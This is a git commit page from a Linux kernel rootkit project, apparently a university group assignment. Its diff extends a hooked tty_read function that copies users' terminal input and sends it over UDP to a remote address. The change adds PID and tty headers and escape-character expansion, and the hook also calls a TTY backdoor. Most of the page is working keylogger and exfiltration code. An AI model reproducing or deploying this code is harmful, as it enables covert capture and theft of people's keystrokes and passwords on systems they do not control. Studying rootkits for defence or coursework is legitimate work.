linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 507f7cb245bb1b41ea1c04042352f4cf5a7e1916
parent 1d08e266816b5fd329bc89f1eff316f07be48384
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 12 Dec 2020 23:18:34 +0100

adds initial header construction code

Diffstat:
Msrc/common.h | 8++++----
Msrc/hook.c | 8+++++---
Msrc/inputlog.c | 51+++++++++++++++++++++++++++++++++++++++++++++++++--
Msrc/inputlog.h | 2+-
4 files changed, 59 insertions(+), 10 deletions(-)

diff --git a/src/common.h b/src/common.h @@ -2,11 +2,11 @@ #define _GROUP7_COMMON_H #ifdef DEBUG -#define DEBUG_INFO(...) do{ pr_info(__VA_ARGS__); } while(false) -#define DEBUG_NOTICE(...) do{ pr_notice(__VA_ARGS__); } while(false) +#define DEBUG_INFO(...) do{ pr_info(__VA_ARGS__); } while(0) +#define DEBUG_NOTICE(...) do{ pr_notice(__VA_ARGS__); } while(0) #else -#define DEBUG_INFO(...) do{} while (false) -#define DEBUG_NOTICE(...) do{} while (false) +#define DEBUG_INFO(...) do{} while (0) +#define DEBUG_NOTICE(...) do{} while (0) #endif #endif//_GROUP7_COMMON_H diff --git a/src/hook.c b/src/hook.c @@ -152,15 +152,17 @@ g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off) atomic_inc(&tty_read_count); ssize_t ret = sys_tty_read(file, buf, count, off); - char *buf_new = (char *)kmalloc(count, GFP_KERNEL); - copy_from_user(buf_new, buf, count); + // pull buffer into kernel space + char *kbuf = (char *)kmalloc(count, GFP_KERNEL); + copy_from_user(kbuf, buf, count); if (rootkit.backdoor == BD_TTY) handle_pid(current->pid, buf, count); if (rootkit.logging_input) - send_udp(buf_new, count); + send_udp(current->pid, file, kbuf, count); + kfree(kbuf); atomic_dec(&tty_read_count); return ret; } diff --git a/src/inputlog.c b/src/inputlog.c @@ -8,15 +8,54 @@ #include "common.h" #include "inputlog.h" +#define BUFLEN 128 #define UDP_MAX_DATA_LEN 65507 struct socket *sock = NULL; struct sockaddr_in addr, bind; +static void +build_header(char *buf, pid_t pid, struct file *file) +{ + sprintf(buf, "[%-8d tty%-3s] ", pid, file->f_path.dentry->d_name.name); +} + +static int +expand_escape_chars(char *buf, const char *src, int srclen) +{ + size_t i; + int buflen; + char c; + +#define EXPAND_ESCAPE(x) \ + do{ *(buf++) = '\\'; *(buf++) = (x); buflen += 2; } while(0) + + for (buflen = 0, i = 0; i < srclen; ++i) { + switch ((c = src[i])) { + case '\a': EXPAND_ESCAPE('a'); break; + case '\b': EXPAND_ESCAPE('b'); break; + case '\e': EXPAND_ESCAPE('e'); break; + case '\f': EXPAND_ESCAPE('f'); break; + case '\n': EXPAND_ESCAPE('n'); break; + case '\r': EXPAND_ESCAPE('r'); break; + case '\t': EXPAND_ESCAPE('t'); break; + case '\v': EXPAND_ESCAPE('v'); break; + case '\"': EXPAND_ESCAPE('\"'); break; + case '\'': EXPAND_ESCAPE('\''); break; + case '\?': EXPAND_ESCAPE('?'); break; + default: *(buf++) = c; ++buflen; break; + } + } + + *buf = '\0'; + return buflen; +} + void -send_udp(char *buf, int buflen) +send_udp(pid_t pid, struct file *file, char *buf, int buflen) { - int sent, packlen; + int sent, packlen, session_buflen; + char *session_buf, *session_bdy; struct msghdr msg; struct kvec iov; mm_segment_t fs; @@ -31,6 +70,14 @@ send_udp(char *buf, int buflen) msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); + session_buf = (char *)kmalloc(19 + buflen * 2, GFP_KERNEL); + build_header(session_buf, pid, file); + + session_bdy = session_buf + 18; + session_buflen = expand_escape_chars(session_bdy, buf, buflen); + + DEBUG_INFO("testing: %s\n", session_buf); + while (buflen > 0) { packlen = (buflen < UDP_MAX_DATA_LEN) ? buflen : UDP_MAX_DATA_LEN; diff --git a/src/inputlog.h b/src/inputlog.h @@ -1,7 +1,7 @@ #ifndef _GROUP7_INPUTLOG_H #define _GROUP7_INPUTLOG_H -void send_udp(char *, int); +void send_udp(pid_t pid, struct file *, char *, int); void log_input(const char *, const char *); void unlog_input(void);